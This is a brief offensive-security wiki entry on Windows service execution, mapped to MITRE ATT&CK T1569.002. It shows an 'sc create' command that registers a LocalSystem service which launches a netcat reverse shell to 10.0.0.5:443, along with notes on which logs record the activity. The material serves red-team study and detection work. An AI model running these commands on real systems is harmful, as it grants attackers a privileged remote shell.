offensive security
Service Execution
Code Execution, Privilege Escalation
Execution
Creating an evil service with a netcat reverse shell:
1
C:\> sc create evilsvc binpath= "c:\tools\nc 10.0.0.5 443 -e cmd.exe" start= "auto" obj= "LocalSystem" password= ""
2
[SC] CreateService SUCCESS
3
C:\> sc start evilsvc
Copied!
Observations
The reverse shell lives under services.exe as expected:
Windows security, application, Service Control Manager and sysmon logs provide some juicy details:
References
System Services: Service Execution, Sub-technique T1569.002 - Enterprise | MITRE ATT&CK®
Last modified 3yr ago
Copy link